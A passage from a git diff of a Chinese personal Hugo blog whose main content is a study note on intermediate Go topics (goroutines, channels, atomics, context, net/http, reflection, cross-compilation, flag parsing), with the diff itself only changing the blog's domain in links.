于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)","keywords":["golang"],"articleBody":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)\n使用方法：atomic.原子操作函数名\ngoroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）\n固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道\n从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道\ncontext标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）\nContext接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()\nDeadline()方法：需要返回当前Context被取消的时间（完成工作截止时间） Done()方法：需要返回一个channel，这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法：返回当前Context结束的原因 Value()方法：会从Context中返回键对应的值\ncanceler接口：规定了通知取消的Context对象要实现的接口\nempty Context结构：实现了Context接口，但是不具备任何功能（该结构体的方法是空方法），该结构被用来当做Context对象树的根（root节点），模拟一个真的goroutine树\ncancelCtx类型：实现了Context接口的具体类型，并且同时实现了canceler接口，不但具备退出通知功能，还能将退出通知告诉整个children节点\ntimerCtx类型：实现了Context接口的具体类型，并且封装了cancelCtx类型实例，具备一个deadline变量，用来实现定时退出通知\nvalueCtx类型：实现了Context接口的具体类型，并且封装了Context接口实例，具备一个k/v的存储变量，用来传递通知\ngo内置的net/http包提供了http客户端和服务端的实现，性能媲美nginx（每一个请求都有一个对应的goroutine去处理，并发性能好）\nhttp服务端\nfunc h(w http.ResponseWriter, r *http.Request) { fmt.Println(r.RemoteAddr, \"连接成功\") fmt.Println(r.Method, r.URL.Path, r.Body, r.Header) str := \"hallo word\" w.Write([]byte(str)) } func main() { http.HandleFunc(\"/test\", h) http.ListenAndServe(\"127.0.0.1:8080\", nil) } 访问http://127.0.0.1:8080/test，就可以看到hallo word了，控制台还是输出一些有关请求的信息\nhttp客户端（get请求，这个东西也可以用来做go爬虫）\nres, err := http.Get(\"https://xiaochenabc123.test.com\") if err != nil { fmt.Println(err) } body, err := ioutil.ReadAll(res.Body) if err != nil { fmt.Println(err) } fmt.Println(string(body)) get参数通过r.URL.Query()进行识别\npost请求\nresp, err := http.Post(\"https://xiaochenabc123.test.com\", \"application/x-www-form-urlencoded\", strings.NewReader(\"test=hallo word\")) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) fmt.Println(string(body)) 日志标准库log（log包是go内置的）\nlog.Println() 普通日志 log.Fatalln() 会触发fatal的日志，写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志，写入日志后panic\nlog会打印日志信息的日期，时间，以及日志信息\n可通过log.SetOutput()存储日志到文件中\n日志等级（从小到大，默认输出Debug及其以上基本的日志）：\nlog.Trace（基本输出），log.Debug（调试），log.Info（重要），log.Warning（警告），log.Error（错误），CRIT（严重危险）, ALRT（严重警告），log.Fatal（严重紧急）\ngo test测试工具\n在包目录中，所有以_test.go为后缀名的文件，都认为是go test的一部分，不会被go build编译到可执行文件中\n在这些以_test.go为后缀名的文件中的函数，分为3种类型，单元测试函数，基准测试函数和示例函数\n单元测试函数：函数名前缀以Test开头的，用来测试程序的逻辑是否正常\n基准测试函数：函数名前缀以Benchmark开头的，测试函数的性能\n示例函数：函数名前缀以Example开头的，提供示例\ngo test会遍历这些符合规则的函数，并且生成临时的main包来调用测试函数，执行，返回测试结果，最后清理临时测试文件\n测试函数必须要导入testing包，例如：func TestData(t *testing.T){}\n基准测试函数：func BenchmarkData(b *testing.B)\n示例函数：func ExampleData()\ngo变量如果在声明时没有指定初始值，那么该变量初始值为该变量的类型的零值\n:=声明方式只能出现在函数中（由go自动判断类型）\ngo提供自动垃圾回收（Garbage Collector）机制，不需要关注变量的内存管理，go使用逃逸分析(Escape Analysis)技术\ngo会为变量在两个地方分配内存空间，这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间，因为go是自动管理内存空间的，不需要关心这些，但是栈内存和堆内存在性能差别很大\n如果分配到栈中，那么当函数执行完毕后自动回收，如果是分配到堆中，会在函数执行完毕后某个时间点进行垃圾回收，而且在栈上分配内存或者回收内存花销都很低，只需要PUSH（将数据PUSH到栈空间）和POP（释放空间）两个CPU指令，因此只是将数据PUSH到内存的时间，效率和内存的I/O成正比\n如果是堆中，因为go语言垃圾回收用的是标记清除算法（GC，垃圾回收）（标记要查找存活的对象，清除要遍历堆的全部对象，回收没有标记的对象）（题外知识：JavaScript垃圾回收就是用的这个标记清除算法）\n逃逸分析(Escape Analysis)：由编译器决定变量是分配到栈空间还是堆空间，当变量的作用域在函数内部，那么该变量是分配到栈空间上，反之则分配在堆空间，也就是说当变量不能随着函数结束而回收时分配在堆空间（指针逃逸），另外空接口在编译阶段难确定其参数的类型，也会发生逃逸，闭包也会逃逸\n另外当栈空间不足也会发生逃逸（因为栈溢出），栈空间被操作系统所限制大小（当栈空间不足时，发生栈溢出）\n利用逃逸分析原理提升性能：一般情况下，占用大内存的变量应该使用传指针（堆空间，虽然GC性能没有栈空间那么好，但是传指针只复制指针地址，不对值的拷贝），小内存的变量用传值（栈空间，可获得更好的性能）\n反射：指程序在执行过程中，可以访问，监测和修改本身状态和行为的能力\nGo语言提供了一种机制在运行时更新变量和检查它们的值，调用它们的方法，但是在编译时并不知道这些变量的具体类型，这称为反射机制\nGo的反射基础是接口和类型系统，借助接口自动创建的数据结构实现，反射依赖于interface类型，反射的实现靠reflect标准库\nGo语言类型分为2大类，static type和concrete type，其中static type是int，string这些在编码时能看到的类型，concrete type是runtime系统才能看见的类型（类型断言依赖于concrete type）\n因为Go语言是静态语言，在编译阶段已经被确定了类型，使用interface类型的变量有一个pair，pair被用来记录了实际变量的值和类型，并且这个变量有2个指针，一个指向concrete type，另一个指向实际值\nreflect.TypeOf()：该函数的参数是一个空接口类型，返回值为一个type接口类型，返回一个type的接口变量，通过接口抽象出来的方法访问具体类型的信息（用来获取反射对象pair的type）\nreflect.ValueOf()：该函数的参数是一个空接口类型，返回值为一个Value类型的变量（用来获取pair的value对象），\nreflect.Kind()方法：该方法没有参赛，返回值是字符串类型（用来获取具体类型struct）\n例如：\ntype Testint int64 var num Testint = 666 fmt.Println(\"type: \", reflect.TypeOf(num)) fmt.Println(\"value: \", reflect.ValueOf(num)) fmt.Println(\"kind: \", reflect.TypeOf(num).Kind()) Go 交叉编译（在一个平台上生成另一个平台的可执行程序）（Mac/Linux/Windows下）\nWindows下编译Mac,Linux\nLinux\nSET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go\nMac\nSET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go\nLinux下编译Mac,Windows\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\nMac\nCGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go\nMac下编译Linux,Windows\nLinux\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\n其中CGO_ENABLED=0来控制go build是否使用CGO编译器，1为使用CGO编译器，GOOS表示编译成什么平台的（linux/windows/darwin/freebsd）,GOARCH表示编译成什么平台的体系架构（386/amd64/arm，32位，64位，ARM）\n注意：CGO是Go代码中调用C代码交叉编译，但是交叉编译不支持CGO，因此如果存在C代码是不能编译的，需要禁用CGO\ndep包管理工具\n命令行参数解析（依赖于内置flag包）\n导入flag包\nimport flag\n定义参数\npass := flag.String(\"pass\", \"123\", \"密码\") 可以看到flag.Type方法接收3个参数，分别是flag名，默认值，提示\nflag支持Int，Int64，Uint，Uint64，Float，Float64，String，Bool，Duration（时间间隔）等类型\n还有一种定义参数的方式\nvar pass string flag.StringVar(\u0026pass, \"pass\", \"123\", \"密码\") 定义完毕参数后，使用flag.Parse()解析，命令行中指定pass，pass的数据将会保存在pass变量中\nflag其他常用函数\n返回命令行参数后（未定义的参数）的其他参数 flag.Args()\n返回命令行参数后（未定义的参数）的其他参数个数 flag.NArg()\n返回命令行参数（定义的）的个数 flag.NFlag()\n例如：\nfunc main() { var pass string flag.StringVar(\u0026pass, \"pass\", \"123\", \"密码\") flag.Parse() fmt.Println(pass) fmt.Println(flag.Args()) fmt.Println(flag.NArg()) fmt.Println(flag.NFlag()) } ./test -pass hallo\n可使用-help参数查看参数提示\n","wordCount":"347","inLanguage":"en","datePublished":"2022-01-16T09:08:00Z","dateModified":"2022-01-16T09:08:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/128/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Golang进阶扩展笔记</h1><div class=post-meta><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Golang%e8%bf%9b%e9%98%b6%e6%89%a9%e5%b1%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html</p><p>并发</p><p>go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）</p><p>内核态：程序执行操作系统层级的程序时</p><p>用户态：程序执行用户自己写的程序时</p><p>常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构</p><p>CSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出</p><p>小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手</p><p>go的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了</p><p>Go运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）</p><p>goroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB</p><p>GPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）</p><p>Goroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息</p><p>Processor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信</p><p>Machine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）</p><p>简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M</p><p>P的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）</p><p>GPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）</p><p>因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换</p><p>runtime.Gosched()：让当前任务让出线程占用，给其他任务执行</p><p>runtime.Goexit()：终止当前任务</p><p>通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道</p><p>对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致</p><p>对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了</p><p>无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作</p><p>有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）</p><p>任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务</p><p>注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的</p><p>锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗</p><p>原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割</p><p>在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包</p><p>sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作</p><p>因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）</p><p>增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)</p><p>载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)</p><p>存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)</p><p>交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)</p><p>比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)</p><p>使用方法：atomic.原子操作函数名</p><p>goroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）</p><p>固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道</p><p>从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道</p><p>context标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）</p><p>Context接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()</p><p>Deadline()方法：需要返回当前Context被取消的时间（完成工作截止时间）
 Done()方法：需要返回一个channel，这个管道会在当前工作完成或者上下文被取消之后关闭
 Err()方法：返回当前Context结束的原因
 Value()方法：会从Context中返回键对应的值</p><p>canceler接口：规定了通知取消的Context对象要实现的接口</p><p>empty Context结构：实现了Context接口，但是不具备任何功能（该结构体的方法是空方法），该结构被用来当做Context对象树的根（root节点），模拟一个真的goroutine树</p><p>cancelCtx类型：实现了Context接口的具体类型，并且同时实现了canceler接口，不但具备退出通知功能，还能将退出通知告诉整个children节点</p><p>timerCtx类型：实现了Context接口的具体类型，并且封装了cancelCtx类型实例，具备一个deadline变量，用来实现定时退出通知</p><p>valueCtx类型：实现了Context接口的具体类型，并且封装了Context接口实例，具备一个k/v的存储变量，用来传递通知</p><hr><p>go内置的net/http包提供了http客户端和服务端的实现，性能媲美nginx（每一个请求都有一个对应的goroutine去处理，并发性能好）</p><p>http服务端</p><pre><code>func h(w http.ResponseWriter, r *http.Request) {
@@ -167,8 +167,8 @@
 fmt.Println(flag.NArg())
 fmt.Println(flag.NFlag())
 }
-</code></pre><p>./test -pass hallo</p><p>可使用-help参数查看参数提示</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/129/><span class=title>« Prev</span><br><span>PostCSS学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/125/><span class=title>Next »</span><br><span>python爬虫学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>./test -pass hallo</p><p>可使用-help参数查看参数提示</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/129/><span class=title>« Prev</span><br><span>PostCSS学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/125/><span class=title>Next »</span><br><span>python爬虫学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/129/index.html b/posts/129/index.html
index f35745c0..0748db81 100644
--- a/posts/129/index.html
+++ b/posts/129/index.html
@@ -8,10 +8,10 @@
 npm install postcss postcss-loader &ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer &ndash;save-dev"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/129/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 